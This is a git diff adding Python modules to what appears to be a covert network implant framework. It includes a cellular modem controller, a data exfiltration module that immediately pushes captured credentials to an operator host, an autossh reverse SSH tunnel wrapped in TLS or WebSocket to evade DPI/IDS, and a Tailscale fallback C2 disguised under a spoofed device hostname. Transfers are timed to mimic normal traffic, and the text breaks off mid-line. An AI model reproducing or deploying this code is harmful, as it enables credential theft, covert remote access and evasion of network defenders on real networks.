------------------------------------------------------------------ + + def _enable_via_mmcli(self) -> bool: + """Enable cellular data via ModemManager.""" + modem_index = self._get_modem_index() + if modem_index is None: + return False + + try: + # Enable modem + subprocess.run( + ["mmcli", "-m", str(modem_index), "--enable"], + check=True, capture_output=True, timeout=15, + ) + + # Connect with APN + subprocess.run( + ["mmcli", "-m", str(modem_index), "--simple-connect", + f"apn={self._apn}"], + check=True, capture_output=True, timeout=30, + ) + + # Wait for interface to come up + time.sleep(3.0) + + # Configure interface + bearer_result = subprocess.run( + ["mmcli", "-m", str(modem_index), "--list-bearers"], + capture_output=True, text=True, timeout=10, + ) + + logger.info("Cellular data enabled via mmcli (modem %d)", modem_index) + return True + + except subprocess.CalledProcessError as exc: + logger.debug("mmcli connect failed: %s", + exc.stderr.decode(errors='replace') if exc.stderr else "") + return False + except (subprocess.TimeoutExpired, FileNotFoundError): + return False + + def _get_modem_index(self) -> Optional[int]: + """Get the ModemManager modem index.""" + try: + result = subprocess.run( + ["mmcli", "-L"], + capture_output=True, text=True, timeout=10, + ) + if result.returncode == 0: + match = re.search(r'/Modem/(\d+)', result.stdout) + if match: + return int(match.group(1)) + except (subprocess.TimeoutExpired, FileNotFoundError): + pass + return None + + # ------------------------------------------------------------------ + # AT command path + # ------------------------------------------------------------------ + + def _enable_via_at(self) -> bool: + """Enable cellular data via direct AT commands.""" + # Exit flight mode + resp = self._at_command("AT+CFUN=1") + if not resp: + return False + + time.sleep(2.0) + + # Set APN + resp = self._at_command(f'AT+CGDCONT=1,"IP","{self._apn}"') + if not resp or "OK" not in resp: + logger.error("Failed to set APN") + return False + + # Activate PDP context + resp = self._at_command("AT+CGACT=1,1") + if not resp or "OK" not in resp: + logger.error("Failed to activate PDP context") + return False + + # Wait for data connection + time.sleep(3.0) + + # Check registration + signal = self.get_signal() + if signal and signal.get("registered"): + logger.info("Cellular data enabled via AT commands") + return True + + logger.warning("Modem registered but data connection uncertain") + return True # Modem is up; data may need a moment + + # ------------------------------------------------------------------ + # Serial / AT helpers + # ------------------------------------------------------------------ + + def _open_serial(self) -> bool: + """Open serial connection to modem.""" + try: + self._serial = serial.Serial( + port=self._modem_device, + baudrate=DEFAULT_BAUD_RATE, + timeout=AT_TIMEOUT, + write_timeout=AT_TIMEOUT, + ) + logger.debug("Opened serial port %s", self._modem_device) + return True + except serial.SerialException as exc: + logger.error("Cannot open modem serial port %s: %s", + self._modem_device, exc) + return False + + def _close_serial(self) -> None: + """Close serial connection.""" + if self._serial and self._serial.is_open: + try: + self._serial.close() + except Exception: + pass + self._serial = None + + def _init_modem(self) -> bool: + """Initialize modem with basic AT commands.""" + # Basic AT test + resp = self._at_command("AT") + if not resp or "OK" not in resp: + logger.error("Modem not responding to AT commands on %s", self._modem_device) + return False + + # Disable echo + self._at_command("ATE0") + + # Get modem model + resp = self._at_command("AT+CGMM") + if resp: + lines = [l.strip() for l in resp.splitlines() if l.strip() and l.strip() != "OK"] + if lines: + self._modem_model = lines[0] + + # Check SIM + resp = self._at_command("AT+CPIN?") + if not resp or "READY" not in resp: + logger.error("SIM not ready: %s", resp) + return False + + logger.info("Modem initialized: %s, SIM ready", self._modem_model) + return True + + def _at_command(self, cmd: str, expect_prompt: bool = False) -> Optional[str]: + """Send an AT command and return the response.""" + if not self._serial or not self._serial.is_open: + return None + + try: + # Flush input + self._serial.reset_input_buffer() + + # Send command + self._serial.write((cmd + "\r\n").encode()) + + if expect_prompt: + # Wait for > prompt + time.sleep(0.5) + data = self._serial.read(self._serial.in_waiting) + return data.decode(errors='replace') + + # Read response + time.sleep(0.5) + response = b"" + deadline = time.time() + AT_TIMEOUT + while time.time() < deadline: + if self._serial.in_waiting: + response += self._serial.read(self._serial.in_waiting) + # Check for final result codes + decoded = response.decode(errors='replace') + if any(code in decoded for code in ("OK", "ERROR", "+CME ERROR", "+CMS ERROR")): + return decoded + time.sleep(0.1) + + return response.decode(errors='replace') if response else None + + except (serial.SerialException, OSError) as exc: + logger.debug("AT command error: %s", exc) + return None diff --git a/modules/connectivity/data_exfil.py b/modules/connectivity/data_exfil.py new file mode 100644 index 0000000..d07bc0d --- /dev/null +++ b/modules/connectivity/data_exfil.py @@ -0,0 +1,450 @@ +#!/usr/bin/env python3 +"""Data exfiltration module — priority-based data transport. + +Manages data exfiltration through the connectivity chain with three +priority tiers: + + IMMEDIATE: Credentials — pushed as captured via fastest available channel + NIGHTLY: Intel summaries, topology updates — scheduled nightly sync + ON_DEMAND: PCAPs — large files pulled by operator when needed + +Respects traffic_mimicry baseline — times transfers to match normal upload +patterns so exfil activity blends with legitimate traffic. + +Falls back through connectivity chain: + WireGuard -> Tailscale -> reverse_ssh -> cellular +""" + +import json +import logging +import os +import subprocess +import threading +import time +from collections import deque +from dataclasses import dataclass, field +from enum import IntEnum +from pathlib import Path +from typing import Optional + +from modules.base import BaseModule +from core.bus import Event + +logger = logging.getLogger("bb.connectivity.data_exfil") + + +class ExfilPriority(IntEnum): + """Exfiltration priority levels.""" + IMMEDIATE = 0 # Credentials — push now + NIGHTLY = 1 # Intel/topology — batch nightly + ON_DEMAND = 2 # PCAPs — operator pulls + + +@dataclass +class ExfilJob: + """A pending exfiltration task.""" + path: str + priority: ExfilPriority + created: float = field(default_factory=time.time) + attempts: int = 0 + last_attempt: float = 0 + size_bytes: int = 0 + description: str = "" + + +# Connectivity chain — tried in order of preference +CONNECTIVITY_CHAIN = ["wireguard", "tailscale", "reverse_tunnel", "cellular_backup"] + +NIGHTLY_HOUR = 2 # 2 AM local time for nightly sync +MAX_ATTEMPTS = 5 +RETRY_BACKOFF = 60 # seconds between retries + + +class DataExfil(BaseModule): + """Priority-based data exfiltration through the connectivity chain.""" + + name = "data_exfil" + module_type = "connectivity" + priority = -100 + requires_root = False + + def __init__(self, bus, state, config, engine=None): + super().__init__(bus, state, config, engine) + self._immediate_queue: deque = deque(maxlen=1000) + self._nightly_queue: deque = deque(maxlen=500) + self._on_demand_queue: deque = deque(maxlen=200) + self._worker_thread: Optional[threading.Thread] = None + self._nightly_thread: Optional[threading.Thread] = None + self._lock = threading.Lock() + self._stats = { + "files_sent": 0, + "bytes_sent": 0, + "creds_pushed": 0, + "nightly_syncs": 0, + "failures": 0, + } + self._remote_base: Optional[str] = None + self._remote_user: Optional[str] = None + self._ssh_key: Optional[str] = None + + # ------------------------------------------------------------------ + # BaseModule interface + # ------------------------------------------------------------------ + + def start(self) -> None: + if self._running: + return + + exfil_cfg = self.config.get("connectivity", {}).get("data_exfil", {}) + self._remote_base = exfil_cfg.get("remote_base", "/data/exfil") + self._remote_user = exfil_cfg.get("remote_user", "operator") + self._ssh_key = exfil_cfg.get("ssh_key") + + # Subscribe to credential events for immediate push + self.bus.subscribe(self._on_credential_found, event_type="CREDENTIAL_FOUND") + + # Start worker thread for processing queues + self._running = True + self._pid = os.getpid() + self._start_time = time.time() + + self._worker_thread = threading.Thread( + target=self._worker_loop, daemon=True, name="bb-exfil-worker", + ) + self._worker_thread.start() + + # Start nightly sync scheduler + self._nightly_thread = threading.Thread( + target=self._nightly_scheduler, daemon=True, name="bb-exfil-nightly", + ) + self._nightly_thread.start() + + self.state.set_module_status(self.name, "running", pid=self._pid) + logger.info("Data exfil module active") + + def stop(self) -> None: + if not self._running: + return + + self._running = False + + self.bus.unsubscribe(self._on_credential_found, event_type="CREDENTIAL_FOUND") + + if self._worker_thread and self._worker_thread.is_alive(): + self._worker_thread.join(timeout=5.0) + if self._nightly_thread and self._nightly_thread.is_alive(): + self._nightly_thread.join(timeout=5.0) + + self.state.set_module_status(self.name, "stopped") + logger.info("Data exfil stopped (sent=%d, bytes=%d, failures=%d)", + self._stats["files_sent"], self._stats["bytes_sent"], + self._stats["failures"]) + + def status(self) -> dict: + with self._lock: + return { + "running": self._running, + "pid": self._pid, + "uptime": time.time() - self._start_time if self._start_time else 0, + "queue_immediate": len(self._immediate_queue), + "queue_nightly": len(self._nightly_queue), + "queue_on_demand": len(self._on_demand_queue), + "stats": dict(self._stats), + } + + def configure(self, config: dict) -> None: + self.config.update(config) + + def health_check(self) -> bool: + if not self._running: + return False + return self._worker_thread is not None and self._worker_thread.is_alive() + + # ------------------------------------------------------------------ + # Public API + # ------------------------------------------------------------------ + + def push_file(self, path: str, priority: int = ExfilPriority.NIGHTLY, + description: str = "") -> bool: + """Queue a file for exfiltration at the given priority.""" + if not os.path.isfile(path): + logger.warning("Exfil target does not exist: %s", path) + return False + + try: + size = os.path.getsize(path) + except OSError: + size = 0 + + job = ExfilJob( + path=path, + priority=ExfilPriority(priority), + size_bytes=size, + description=description, + ) + + with self._lock: + if priority == ExfilPriority.IMMEDIATE: + self._immediate_queue.append(job) + elif priority == ExfilPriority.NIGHTLY: + self._nightly_queue.append(job) + else: + self._on_demand_queue.append(job) + + logger.debug("Queued for exfil (%s): %s (%d bytes)", + ExfilPriority(priority).name, path, size) + return True + + def sync_intel(self) -> bool: + """Trigger an immediate sync of all queued intel/nightly data.""" + logger.info("Manual intel sync triggered") + return self._process_nightly_queue() + + def get_exfil_stats(self) -> dict: + """Return exfil statistics.""" + with self._lock: + return dict(self._stats) + + # ------------------------------------------------------------------ + # Event handlers + # ------------------------------------------------------------------ + + def _on_credential_found(self, event: Event) -> None: + """Handle CREDENTIAL_FOUND events — push immediately.""" + payload = event.payload + cred_file = payload.get("file") + cred_data = payload.get("data") + + if cred_file and os.path.isfile(cred_file): + self.push_file(cred_file, ExfilPriority.IMMEDIATE, + description=f"credential: {payload.get('type', 'unknown')}") + elif cred_data: + # Write credential data to a temp file for exfil + tmpdir = "/dev/shm" if os.path.isdir("/dev/shm") else "/tmp" + cred_path = os.path.join(tmpdir, f".cred_{int(time.time())}.json") + try: + fd = os.open(cred_path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600) + try: + os.write(fd, json.dumps(cred_data).encode()) + finally: + os.close(fd) + self.push_file(cred_path, ExfilPriority.IMMEDIATE, + description="credential_data") + except OSError as exc: + logger.error("Failed to write credential for exfil: %s", exc) + + with self._lock: + self._stats["creds_pushed"] += 1 + + # ------------------------------------------------------------------ + # Worker threads + # ------------------------------------------------------------------ + + def _worker_loop(self) -> None: + """Main worker: drain immediate queue, respecting traffic mimicry.""" + while self._running: + # Process immediate queue first + job = None + with self._lock: + if self._immediate_queue: + job = self._immediate_queue.popleft() + + if job: + self._process_job(job) + else: + time.sleep(5.0) + + def _nightly_scheduler(self) -> None: + """Wait until NIGHTLY_HOUR and trigger nightly sync.""" + while self._running: + now = time.localtime() + if now.tm_hour == NIGHTLY_HOUR and now.tm_min < 5: + # Check traffic mimicry — is this a normal upload time? + if self._is_upload_window(): + self._process_nightly_queue() + with self._lock: + self._stats["nightly_syncs"] += 1 + # Sleep past the window to avoid re-triggering + time.sleep(3600) + continue + + time.sleep(60) + + def _process_job(self, job: ExfilJob) -> bool: + """Transfer a single file through the connectivity chain.""" + job.attempts += 1 + job.last_attempt = time.time() + + # Try each connectivity method in order + for conn_name in CONNECTIVITY_CHAIN: + conn_status = self.state.get_module_status(conn_name) + if conn_status.get("status") != "running": + continue + + if self._transfer_file(job.path, conn_name): + with self._lock: + self._stats["files_sent"] += 1 + self._stats["bytes_sent"] += job.size_bytes + logger.info("Exfil success: %s via %s (%d bytes)", + job.path, conn_name, job.size_bytes) + + # Clean up temp credential files after successful send + if job.path.startswith(("/dev/shm/", "/tmp/")) and ".cred_" in job.path: + try: + os.unlink(job.path) + except OSError: + pass + + return True + + # All channels failed — re-queue if under max attempts + with self._lock: + self._stats["failures"] += 1 + + if job.attempts < MAX_ATTEMPTS: + logger.warning("Exfil failed for %s (attempt %d/%d), re-queuing", + job.path, job.attempts, MAX_ATTEMPTS) + time.sleep(RETRY_BACKOFF) + with self._lock: + if job.priority == ExfilPriority.IMMEDIATE: + self._immediate_queue.append(job) + else: + self._nightly_queue.append(job) + else: + logger.error("Exfil permanently failed for %s after %d attempts", + job.path, MAX_ATTEMPTS) + + return False + + def _process_nightly_queue(self) -> bool: + """Process all items in the nightly queue.""" + success = True + while self._running: + with self._lock: + if not self._nightly_queue: + break + job = self._nightly_queue.popleft() + + if not self._process_job(job): + success = False + + # Brief pause between files to avoid traffic bursts + time.sleep(2.0) + + return success + + # ------------------------------------------------------------------ + # Transfer methods + # ------------------------------------------------------------------ + + def _transfer_file(self, local_path: str, via_module: str) -> bool: + """Transfer a file using rsync/scp over the specified connectivity module.""" + if not os.path.isfile(local_path): + return False + + # Determine remote target based on connectivity module + remote_host = self._get_remote_host(via_module) + if not remote_host: + return False + + remote_path = f"{self._remote_user}@{remote_host}:{self._remote_base}/" + + # Build SSH options + ssh_opts = [ + "-o", "StrictHostKeyChecking=no", + "-o", "UserKnownHostsFile=/dev/null", + "-o", "LogLevel=ERROR", + "-o", "ConnectTimeout=10", + ] + if self._ssh_key: + ssh_opts.extend(["-i", self._ssh_key]) + + # Try rsync first (delta transfer, bandwidth efficient) + if self._try_rsync(local_path, remote_path, ssh_opts): + return True + + # Fallback to scp + return self._try_scp(local_path, remote_path, ssh_opts) + + def _try_rsync(self, local_path: str, remote_path: str, + ssh_opts: list) -> bool: + """Attempt file transfer via rsync.""" + ssh_cmd = "ssh " + " ".join(ssh_opts) + cmd = [ + "rsync", "-az", "--timeout=30", + "-e", ssh_cmd, + local_path, remote_path, + ] + + try: + result = subprocess.run( + cmd, capture_output=True, timeout=120, + ) + return result.returncode == 0 + except (subprocess.TimeoutExpired, FileNotFoundError): + return False + + def _try_scp(self, local_path: str, remote_path: str, + ssh_opts: list) -> bool: + """Attempt file transfer via scp.""" + cmd = ["scp", "-q"] + ssh_opts + [local_path, remote_path] + + try: + result = subprocess.run( + cmd, capture_output=True, timeout=120, + ) + return result.returncode == 0 + except (subprocess.TimeoutExpired, FileNotFoundError): + return False + + def _get_remote_host(self, via_module: str) -> Optional[str]: + """Get the remote host address for a connectivity module.""" + if via_module == "wireguard": + wg_cfg = self.config.get("connectivity", {}).get("wireguard", {}) + # Use the WireGuard peer's allowed IP (operator side) + allowed = wg_cfg.get("allowed_ips", "") + if "/" in allowed: + return allowed.split("/")[0] + return allowed if allowed else None + + elif via_module == "tailscale": + # Get Tailscale IP of the operator machine from config + ts_cfg = self.config.get("connectivity", {}).get("tailscale", {}) + return ts_cfg.get("operator_ip") + + elif via_module == "reverse_tunnel": + # Reverse tunnel goes through localhost (port is forwarded) + return "127.0.0.1" + + elif via_module == "cellular_backup": + # Cellular uses a separate relay + cell_cfg = self.config.get("connectivity", {}).get("cellular", {}) + return cell_cfg.get("exfil_host") + + return None + + # ------------------------------------------------------------------ + # Traffic mimicry integration + # ------------------------------------------------------------------ + + def _is_upload_window(self) -> bool: + """Check if current time falls within a normal upload window. + + Reads the traffic mimicry baseline to determine if now is a + reasonable time for upload activity. + """ + baseline = self.state.get("traffic_mimicry", "upload_hours", default=None) + if not baseline: + # No baseline — allow all hours + return True + + try: + if isinstance(baseline, str): + allowed_hours = json.loads(baseline) + else: + allowed_hours = baseline + + current_hour = time.localtime().tm_hour + return current_hour in allowed_hours + except (json.JSONDecodeError, TypeError): + return True diff --git a/modules/connectivity/reverse_tunnel.py b/modules/connectivity/reverse_tunnel.py new file mode 100644 index 0000000..94419ad --- /dev/null +++ b/modules/connectivity/reverse_tunnel.py @@ -0,0 +1,406 @@ +#!/usr/bin/env python3 +"""Reverse tunnel module — autossh reverse SSH over TLS/WebSocket. + +Establishes a persistent reverse SSH tunnel using autossh with automatic +reconnection. The SSH connection is NEVER raw on port 443 — it MUST be +wrapped in TLS (via stunnel) or transported over WebSocket to avoid +protocol fingerprinting by DPI/IDS. + +Tunnel chain: + implant -> stunnel (local TLS wrap) -> relay:443 -> sshd + OR + implant -> SSH-over-WebSocket -> relay:443 -> ws-to-ssh proxy -> sshd +""" + +import logging +import os +import signal +import subprocess +import tempfile +import time +from typing import Optional + +from modules.base import BaseModule + +logger = logging.getLogger("bb.connectivity.reverse_tunnel") + +AUTOSSH_BIN = "/usr/bin/autossh" +STUNNEL_BIN = "/usr/bin/stunnel" +SSH_BIN = "/usr/bin/ssh" +CONNECT_TIMEOUT = 30 # seconds + + +class ReverseTunnel(BaseModule): + """Reverse SSH tunnel via autossh, wrapped in TLS or WebSocket.""" + + name = "reverse_tunnel" + module_type = "connectivity" + priority = -100 + requires_root = False + + def __init__(self, bus, state, config, engine=None): + super().__init__(bus, state, config, engine) + self._autossh_proc: Optional[subprocess.Popen] = None + self._stunnel_proc: Optional[subprocess.Popen] = None + self._relay_host: Optional[str] = None + self._relay_port: int = 443 + self._relay_user: Optional[str] = None + self._key_file: Optional[str] = None + self._remote_port: int = 0 + self._monitor_port: int = 0 + self._transport: str = "stunnel" # "stunnel" or "websocket" + self._stunnel_config_path: Optional[str] = None + self._ssh_config_path: Optional[str] = None + self._local_stunnel_port: int = 0 + self._connected = False + + # ------------------------------------------------------------------ + # BaseModule interface + # ------------------------------------------------------------------ + + def start(self) -> None: + if self._running: + return + + tun_cfg = self.config.get("connectivity", {}).get("reverse_tunnel", {}) + if not tun_cfg: + logger.error("No reverse_tunnel config in bigbrother.yaml") + self.state.set_module_status(self.name, "error") + return + + self._relay_host = tun_cfg.get("relay_host") + self._relay_port = tun_cfg.get("relay_port", 443) + self._relay_user = tun_cfg.get("relay_user", "tunnel") + self._key_file = tun_cfg.get("key_file") + self._remote_port = tun_cfg.get("remote_port", 22222) + self._monitor_port = tun_cfg.get("monitor_port", 0) + self._transport = tun_cfg.get("transport", "stunnel") + + if not self._relay_host: + logger.error("relay_host not configured for reverse tunnel") + self.state.set_module_status(self.name, "error") + return + + if not self._key_file or not os.path.isfile(self._key_file): + logger.error("SSH key file not found: %s", self._key_file) + self.state.set_module_status(self.name, "error") + return + + if not self.connect(): + self.state.set_module_status(self.name, "error") + return + + self._running = True + self._pid = os.getpid() + self._start_time = time.time() + self._connected = True + + self.state.set_module_status(self.name, "running", pid=self._pid) + self.bus.emit("CONNECTIVITY_CHANGED", + {"module": self.name, "state": "up", + "relay": self._relay_host, "remote_port": self._remote_port, + "transport": self._transport}, + source_module=self.name) + logger.info("Reverse tunnel up — %s:%d via %s (transport: %s)", + self._relay_host, self._remote_port, + self._relay_port, self._transport) + + def stop(self) -> None: + if not self._running: + return + + self.disconnect() + self._running = False + self._connected = False + + # Cleanup temp configs + for path in (self._stunnel_config_path, self._ssh_config_path): + if path and os.path.isfile(path): + try: + os.unlink(path) + except OSError: + pass + + self.state.set_module_status(self.name, "stopped") + self.bus.emit("CONNECTIVITY_CHANGED", + {"module": self.name, "state": "down"}, + source_module=self.name) + logger.info("Reverse tunnel stopped") + + def status(self) -> dict: + autossh_alive = (self._autossh_proc is not None and + self._autossh_proc.poll() is None) + stunnel_alive = (self._stunnel_proc is not None and + self._stunnel_proc.poll() is None) + + return { + "running": self._running, + "pid": self._pid, + "uptime": time.time() - self._start_time if self._start_time else 0, + "connected": self._connected, + "relay_host": self._relay_host, + "relay_port": self._relay_port, + "remote_port": self._remote_port, + "transport": self._transport, + "autossh_alive": autossh_alive, + "autossh_pid": self._autossh_proc.pid if self._autossh_proc else None, + "stunnel_alive": stunnel_alive, + } + + def configure(self, config: dict) -> None: + self.config.update(config) + + def health_check(self) -> bool: + if not self._running: + return False + return self.is_connected() + + # ------------------------------------------------------------------ + # Tunnel operations + # ------------------------------------------------------------------ + + def connect(self) -> bool: + """Establish the reverse tunnel: start stunnel/ws, then autossh.""" + if self._transport == "stunnel": + if not self._start_stunnel(): + return False + ssh_target_host = "127.0.0.1" + ssh_target_port = self._local_stunnel_port + elif self._transport == "websocket": + # WebSocket transport uses SSH ProxyCommand with a ws client + ssh_target_host = self._relay_host + ssh_target_port = self._relay_port + else: + logger.error("Unknown transport: %s (must be 'stunnel' or 'websocket')", + self._transport) + return False + + # Write SSH config for strict options + self._ssh_config_path = self._write_ssh_config(ssh_target_host, ssh_target_port) + + # Build autossh command + env = dict(os.environ) + env["AUTOSSH_GATETIME"] = "0" # Don't require initial connection time + env["AUTOSSH_POLL"] = "30" # Check connection every 30s + + if self._monitor_port: + env["AUTOSSH_PORT"] = str(self._monitor_port) + else: + env["AUTOSSH_PORT"] = "0" # Disable monitoring port, use ServerAlive + + ssh_cmd = [ + SSH_BIN, + "-F", self._ssh_config_path, + "-N", # No shell + "-T", # No PTY + "-R", f"{self._remote_port}:127.0.0.1:22", + "-i", self._key_file, + "-o", "StrictHostKeyChecking=no", + "-o", "UserKnownHostsFile=/dev/null", + "-o", "ServerAliveInterval=15", + "-o", "ServerAliveCountMax=3", + "-o", "ExitOnForwardFailure=yes", + "-o", "LogLevel=ERROR", + ] + + # WebSocket transport uses ProxyCommand + if self._transport == "websocket": + proxy_cmd = self._get_ws_proxy_command() + if proxy_cmd: + ssh_cmd.extend(["-o", f"ProxyCommand={proxy_cmd}"]) + ssh_cmd.extend([ + "-p", str(ssh_target_port), + f"{self._relay_user}@{ssh_target_host}", + ]) + else: + ssh_cmd.extend([ + "-p", str(ssh_target_port), + f"{self._relay_user}@{ssh_target_host}", + ]) + + autossh_cmd = [AUTOSSH_BIN, "-M", str(self._monitor_port)] + ssh_cmd[1:] + # autossh wraps ssh; pass the ssh binary path + autossh_cmd = [AUTOSSH_BIN] + ssh_cmd + + try: + self._autossh_proc = subprocess.Popen( + autossh_cmd, + stdout=subprocess.DEVNULL, + stderr=subprocess.PIPE, + env=env, + ) + except FileNotFoundError: + logger.error("autossh not found at %s", AUTOSSH_BIN) + return False + except OSError as exc: + logger.error("Failed to start autossh: %s", exc) + return False + + # Wait briefly to check if process dies immediately + time.sleep(2.0) + if self._autossh_proc.poll() is not None: + stderr = "" + try: + stderr = self._autossh_proc.stderr.read().decode(errors='replace')[:500] + except Exception: + pass + logger.error("autossh exited immediately: %s", stderr) + self._cleanup_stunnel() + return False + + logger.info("autossh started (PID %d)", self._autossh_proc.pid) + return True + + def disconnect(self) -> None: + """Tear down the reverse tunnel.""" + # Stop autossh + if self._autossh_proc and self._autossh_proc.poll() is None: + try: + self._autossh_proc.terminate() + self._autossh_proc.wait(timeout=5.0) + except subprocess.TimeoutExpired: + self._autossh_proc.kill() + try: + self._autossh_proc.wait(timeout=2.0) + except subprocess.TimeoutExpired: + pass + self._autossh_proc = None + + # Stop stunnel + self._cleanup_stunnel() + self._connected = False + + def is_connected(self) -> bool: + """Check if the autossh process is alive.""" + if self._autossh_proc is None: + return False + alive = self._autossh_proc.poll() is None + self._connected = alive + return alive + + # ------------------------------------------------------------------ + # stunnel management + # ------------------------------------------------------------------ + + def _start_stunnel(self) -> bool: + """Start stunnel to wrap SSH in TLS.""" + # Pick a random high port for local stunnel listener + import socket + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: + s.bind(("127.0.0.1", 0)) + self._local_stunnel_port = s.getsockname()[1] + + config_content = ( + f"pid =\n" # Don't write PID file + f"foreground = yes\n" + f"syslog = no\n" + f"debug = 0\n" + f"\n" + f"[ssh-tunnel]\n" + f"client = yes\n" + f"accept = 127.0.0.1:{self._local_stunnel_port}\n" + f"connect = {self._relay_host}:{self._relay_port}\n" + f"TIMEOUTconnect = 10\n" + ) + + tmpdir = "/dev/shm" if os.path.isdir("/dev/shm") else tempfile.gettempdir() + self._stunnel_config_path = os.path.join(tmpdir, ".stunnel_bb.conf") + + fd = os.open(self._stunnel_config_path, + os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600) + try: + os.write(fd, config_content.encode()) + finally: + os.close(fd) + + try: + self._stunnel_proc = subprocess.Popen( + [STUNNEL_BIN, self._stunnel_config_path], + stdout=subprocess.DEVNULL, + stderr=subprocess.PIPE, + ) + except FileNotFoundError: + logger.error("stunnel not found at %s", STUNNEL_BIN) + return False + except OSError as exc: + logger.error("Failed to start stunnel: %s", exc) + return False + + # Wait for stunnel to be ready + time.sleep(1.0) + if self._stunnel_proc.poll() is not None: + stderr = "" + try: + stderr = self._stunnel_proc.stderr.read().decode(errors='replace')[:500] + except Exception: + pass + logger.error("stunnel exited: %s", stderr) + return False + + logger.debug("stunnel listening on 127.0.0.1:%d -> %s:%d", + self._local_stunnel_port, self._relay_host, self._relay_port) + return True + + def _cleanup_stunnel(self) -> None: + """Stop the stunnel process.""" + if self._stunnel_proc and self._stunnel_proc.poll() is None: + try: + self._stunnel_proc.terminate() + self._stunnel_proc.wait(timeout=3.0) + except subprocess.TimeoutExpired: + self._stunnel_proc.kill() + try: + self._stunnel_proc.wait(timeout=2.0) + except subprocess.TimeoutExpired: + pass + self._stunnel_proc = None + + # ------------------------------------------------------------------ + # SSH config + # ------------------------------------------------------------------ + + def _write_ssh_config(self, host: str, port: int) -> str: + """Write a transient SSH config file.""" + config = ( + f"Host tunnel-relay\n" + f" HostName {host}\n" + f" Port {port}\n" + f" User {self._relay_user}\n" + f" IdentityFile {self._key_file}\n" + f" StrictHostKeyChecking no\n" + f" UserKnownHostsFile /dev/null\n" + f" ServerAliveInterval 15\n" + f" ServerAliveCountMax 3\n" + f" ExitOnForwardFailure yes\n" + f" LogLevel ERROR\n" + ) + + tmpdir = "/dev/shm" if os.path.isdir("/dev/shm") else tempfile.gettempdir() + path = os.path.join(tmpdir, ".ssh_tunnel_bb.conf") + + fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600) + try: + os.write(fd, config.encode()) + finally: + os.close(fd) + + return path + + def _get_ws_proxy_command(self) -> Optional[str]: + """Return a ProxyCommand string for SSH-over-WebSocket.""" + # websocat is the preferred tool for ws-to-tcp proxying + websocat = "/usr/bin/websocat" + if os.path.isfile(websocat): + return (f"{websocat} --binary " + f"wss://{self._relay_host}:{self._relay_port}/ssh " + f"--tls-domain {self._relay_host}") + + # Fallback: wstunnel + wstunnel = "/usr/bin/wstunnel" + if os.path.isfile(wstunnel): + return (f"{wstunnel} client " + f"-L stdio://127.0.0.1:0 " + f"wss://{self._relay_host}:{self._relay_port}") + + logger.warning("No WebSocket proxy tool found (websocat or wstunnel)") + return None diff --git a/modules/connectivity/tailscale.py b/modules/connectivity/tailscale.py new file mode 100644 index 0000000..d242913 --- /dev/null +++ b/modules/connectivity/tailscale.py @@ -0,0 +1,290 @@ +#!/usr/bin/env python3 +"""Tailscale module — fallback operator access via Tailscale mesh VPN. + +FALLBACK ONLY. Tailscale maintains persistent connections to coordination +servers — it is chatty by design. Use only when: + 1. WireGuard is blocked by the target network + 2. Target network already has Tailscale traffic (blends in) + +Manages the tailscaled daemon via subprocess. Authenticates with a +per-engagement auth key and sets hostname to match the MAC profile +(e.g., "amazon-fire-tv-xxx") for consistency with the device cover story. +""" + +import logging +import os +import subprocess +import time +from typing import Optional + +from modules.base import BaseModule + +logger = logging.getLogger("bb.connectivity.tailscale") + +TAILSCALE_BIN = "/usr/bin/tailscale" +TAILSCALED_BIN = "/usr/sbin/tailscaled" +STARTUP_TIMEOUT = 30 # seconds to wait for tailscaled to be ready + + +class Tailscale(BaseModule): + """Fallback C2 — Tailscale mesh VPN managed as subprocess.""" + + name = "tailscale" + module_type = "connectivity" + priority = -150 + requires_root = True + + def __init__(self, bus, state, config, engine=None): + super().__init__(bus, state, config, engine) + self._daemon_proc: Optional[subprocess.Popen] = None + self._auth_key: Optional[str] = None + self._hostname: Optional[str] = None + self._connected = False + self._tailscale_ip: Optional[str] = None + + # ------------------------------------------------------------------ + # BaseModule interface + # ------------------------------------------------------------------ + + def start(self) -> None: + if self._running: + return + + ts_cfg = self.config.get("connectivity", {}).get("tailscale", {}) + if not ts_cfg: + logger.error("No tailscale config in bigbrother.yaml") + self.state.set_module_status(self.name, "error") + return + + self._auth_key = ts_cfg.get("auth_key") + self._hostname = ts_cfg.get("hostname") + + if not self._auth_key: + logger.error("Tailscale auth_key not configured") + self.state.set_module_status(self.name, "error") + return + + # If no hostname specified, try to match MAC profile + if not self._hostname: + mac_hostname = self.state.get( + "mac_manager", "dhcp_hostname", default=None + ) + if mac_hostname: + self._hostname = mac_hostname.replace(" ", "-").lower() + else: + self._hostname = f"bb-{os.urandom(3).hex()}" + + # Start tailscaled daemon + if not self._start_daemon(ts_cfg): + self.state.set_module_status(self.name, "error") + return + + # Authenticate and bring up + if not self.up(self._auth_key): + logger.error("Failed to bring Tailscale up") + self._stop_daemon() + self.state.set_module_status(self.name, "error") + return + + self._running = True + self._pid = os.getpid() + self._start_time = time.time() + self._connected = True + + self.state.set_module_status(self.name, "running", pid=self._pid) + self.bus.emit("CONNECTIVITY_CHANGED", + {"module": self.name, "state": "up", + "ip": self._tailscale_ip, "hostname": self._hostname}, + source_module=self.name) + logger.info("Tailscale up — hostname=%s, ip=%s", + self._hostname, self._tailscale_ip) + + def stop(self) -> None: + if not self._running: + return + + self.down() + self._stop_daemon() + self._running = False + self._connected = False + + self.state.set_module_status(self.name, "stopped") + self.bus.emit("CONNECTIVITY_CHANGED", + {"module": self.name, "state": "down"}, + source_module=self.name) + logger.info("Tailscale stopped") + + def status(self) -> dict: + return { + "running": self._running, + "pid": self._pid, + "uptime": time.time() - self._start_time if self._start_time else 0, + "connected": self._connected, + "ip": self._tailscale_ip, + "hostname": self._hostname, + "daemon_pid": self._daemon_proc.pid if self._daemon_proc else None, + } + + def configure(self, config: dict) -> None: + self.config.update(config) + + def health_check(self) -> bool: + if not self._running: + return False + return self.is_connected() + + # ------------------------------------------------------------------ + # Tailscale operations + # ------------------------------------------------------------------ + + def up(self, auth_key: str) -> bool: + """Authenticate and bring Tailscale up with the given auth key.""" + try: + cmd = [TAILSCALE_BIN, "up", + "--authkey", auth_key, + "--hostname", self._hostname, + "--accept-routes"] + + result = subprocess.run( + cmd, capture_output=True, text=True, timeout=30, + ) + + if result.returncode != 0: + logger.error("tailscale up failed: %s", result.stderr.strip()) + return False + + # Get assigned IP + self._tailscale_ip = 